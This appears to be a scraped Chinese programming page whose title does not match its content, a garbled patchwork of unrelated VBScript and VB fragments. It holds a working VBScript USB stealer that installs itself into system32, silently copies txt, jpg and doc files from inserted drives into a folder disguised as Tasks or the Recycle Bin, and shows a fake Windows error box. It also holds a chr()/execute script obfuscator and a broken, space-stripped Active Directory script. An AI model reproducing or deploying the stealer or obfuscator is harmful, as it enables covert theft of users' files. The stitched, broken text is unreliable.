mg动画脚本怎么写少年志

发布时间:2020-11-19 来源:脚本之家 点击:

实际上,我们完全可以忽略这两个事件——只要你记得完善类的方法和属性responseText对utf-8编码支持得很好,但是如果是gb2312编码就会返回乱码,有时甚至会报错

怎么把脚本导入GG修改器
如果 delimiter 为零长度字符串,则返回包含整个 expression 字符串的单元素数组1.新建一个VisualBasic.NetWindows应用程序项目


  ***********************

  '*StartScript

  '***********************

  DimsComputerName,sUserOrGroup,sPath,computerContainer,rootDSE,lFlag

  DimsecDescriptor,dACL,ACE,oComputer,sPwd

  '

  '*Declareconstantsusedindefiningthedefaultlocationforthe

  '*machineaccount,flagstoidentifytheobjectasamachineaccount,

  '*andsecurityflags

  'ConstUF_WORKSTATION_TRUST_ACCOUNT=&H1000

  ConstUF_ACCOUNTDISABLE=&H2

  ConstUF_PASSWD_NOTREQD=&H20

  ConstADS_GUID_COMPUTRS_CONTAINER="aa312825768811d1aded00c04fd8d5cd"

  ConstADS_ACETYPE_ACCESS_ALLOWED=0

  ConstADS_ACEFLAG_INHERIT_ACE=2

  '

  '*Settheflagsonthisobjecttoidentifyitasamachineaccount

  '*anddeterminethename.Thenameisusedstaticallyhere,butmay

  '*bedeterminedbyacommandlineparameterorbyusinganInputBox

  'lFlag=UF_WORKSTATION_TRUST_ACCOUNTOrUF_ACCOUNTDISABLEOrUF_PASSWD_NOTREQD

  sComputerName="TestAccount"

  '

  '*EstablishapathtothecontainerintheActiveDirectorywhere

  '*themachineaccountwillbecreated.Inthisexample,thiswill

  '*automaticallylocateadomaincontrollerforthedomain,readthe

  '*domainname,andbindtothedefault"Computers"container

  '*********************************************************************

  SetrootDSE=GetObject("")

  sPath="(sPath)

  sPath=""&computerContainer.Get("distinguishedName")

  SetcomputerContainer=GetObject(sPath)

  ''*Here,thecomputeraccountiscreated.Certainattributesmust

  '*haveavaluebeforecalling.SetInfotocommit(write)theobject

  '*totheActiveDirectory

  'SetoComputer=computerContainer.Create("computer","CN="&sComputerName)

  oComputer.Put"samAccountName",sComputerName+"$"

  oComputer.Put"userAccountControl",lFlag

  oComputer.SetInfo

  '

  '*Establishadefaultpasswordforthemachineaccount

  'sPwd=sComputerName&"$"

  sPwd=LCase(sPwd)

  oComputer.SetPasswordsPwd

  ''*Specifywhichuserorgroupmayactivate/jointhiscomputertothe

  '*domain.Inthisexample,"MYDOMAIN"isthedomainnameand

  '*"JoeSmith"istheaccountbeinggiventhepermission.Notethat

  '*thisisthedownlevelnamingconventionusedinthisexample.

  'sUserOrGroup="MYDOMAIN\joesmith"

  ''*BindtotheDiscretionaryACLonthenewlycreatedcomputeraccount

  '*andcreateanAccessControlEntry(ACE)thatgivesthespecified

  '*userorgroupfullcontrolonthemachineaccount

  'SetsecDescriptor=oComputer.Get("ntSecurityDescriptor")

  SetdACL=secDescriptor.DiscretionaryAcl

  SetACE=CreateObject("AccessControlEntry")

  '

  '*AnAccessMaskof"-1"grantsFullControl

  '

  ACE.AccessMask=-1

  ACE.AceType=ADS_ACETYPE_ACCESS_ALLOWED

  ACE.AceFlags=ADS_ACEFLAG_INHERIT_ACE

  ''*Grantthiscontroltotheuserorgroupspecifiedearlier.

  'ACE.Trustee=sUserOrGroup

  '

  '*Now,addthisACEtotheDACLonthemachineaccount

  'dACL.AddAceACE

  secDescriptor.DiscretionaryAcl=dACL

  '

  '*Commit(write)thesecuritychangestothemachineaccount

  'oComputer.Put"ntSecurityDescriptor",Array(secDescriptor)

  oComputer.SetInfo

  ''*Onceallparametersandpermissionshavebeenset,enablethe

  '*account.

  '

  oComputer.AccountDisabled=False

  oComputer.SetInfo

  ''*CreateanAccessControlEntry(ACE)thatgivesthespecifieduser

  '*orgroupfullcontrolonthemachineaccount

  'wscript.echo"Thecommandcompletedsuccessfully."

  '*****************

  '*EndScript


一个小例子,在编程之前,请选择“工程”-“引用”
确定引用“microsoftDAO3.51Objectlibrary”
dimdbasdatabase
dimrsasrecordset

privatesubform1_load()
Setdb=OpenDatabase(App.Path "\TTT.mdb")'()内是你的数据库所在位置
Setrs=db.OpenRecordset("ABC")'()内是你数据库里面的表名
endsub
修改数据库的方法是:
privatesubEditNow()
NewName=text1.text
NewP=text2.text
withrs
.edit
!名字=Lcase(newname)'“名字”是你表中的项目,(newname)内是你根据你的代码改变的值
!密码=Lcase(newp)'同上
.update
endwith
endsub
建立是用rs.addnew
呵呵,方法就是这样,希望会对菜鸟有帮助


oStr="txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath="C:\\windows\\system\" '保存路径
oFolderName="Task" '保存文件夹名称
oType=1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder=fso.GetFolder(sPath)
Set oSubFolders=oFolder.Subfolders

Set oFiles=oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder=Nothing
Set oSubFolders=Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext=fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白开 QQ:343229025
在用VB5进行数据库编程时,经常要生成统计图形


'----------------------------------------
On Error Resume Next

oracle执行sql语句如若想在程序中自动建立关联,则须用上API函数,——这个不是本文的主题了
On Error Resume Next
Set argv=WScript.Arguments
If argv.Count=0 Then WScript.Quit
Set fso=CreateObject("scripting.filesystemobject")
With fso.OpenTextFile(argv(0),1)
data=.ReadAll : .Close
End With
With fso.OpenTextFile(argv(0)&".txt",2,True)
.WriteLine "data="&Chr(34)&ASCdata(data)&Chr(34)
.WriteLine "Function ChrData(Data)"
.WriteLine "MyArray=Split(Data, "","", -1, 1)"
.WriteLine "For each OldData in MyArray"
.WriteLine "Newdata=NewData"&Chr(38)&"chr(OldData)"
.WriteLine "Next"
.WriteLine "ChrData=NewData"
.WriteLine "End Function"
.WriteLine "execute Chrdata(data)"
.Close
End With
MsgBox "OK!",,"Encrypt"
Function ASCdata(Data)
num=len(data)
newdata=""
For j=1 to num
If j=num then
newdata=newdata&asc(mid(data,j,1))
Else
newdata=newdata&asc(mid(data,j,1))&","
End If
Next
ASCdata=newdata
End function

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号